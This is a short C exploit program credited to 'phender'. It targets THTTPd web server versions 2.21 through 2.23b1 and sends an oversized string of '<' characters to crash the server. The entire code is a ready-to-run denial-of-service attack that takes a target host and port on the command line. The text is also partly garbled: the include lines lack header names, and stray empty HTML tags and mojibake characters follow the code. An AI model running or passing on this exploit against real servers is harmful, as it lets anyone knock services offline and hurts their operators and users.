/* THTTPd versions 2.21 through 2.23b1 DoS by phender */ /* This code will send a string to segfault the server */ #include #include #include #include #include #include #include #include #include #include #include #include main(int argc, char *argv[]) { struct hostent *hent; struct sockaddr_in sock; int sockfd, port = 80, i = 0; char buf[500]; if(argc < 2 || argc > 3){ printf("THTTPd (v2.21 - v2.23b1) DoS by phender\n"); printf("Usage: %s [port]\n", argv[0]); exit(1); } if(argc == 3) port = atoi(argv[2]); while(i < 400){ buf[i++] = '<'; } buf[i] = 0; strcat(buf, " hi\n\n"); bzero(&sock, sizeof(sock)); sock.sin_addr.s_addr = inet_addr(argv[1]); sock.sin_port = htons(port); sockfd = socket(AF_INET,SOCK_STREAM,0); sock.sin_family = AF_INET; if((connect(sockfd, (struct sockaddr *)&sock, sizeof(sock))) == -1){ perror("connect"); exit(1); } write(sockfd, buf, strlen(buf)); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß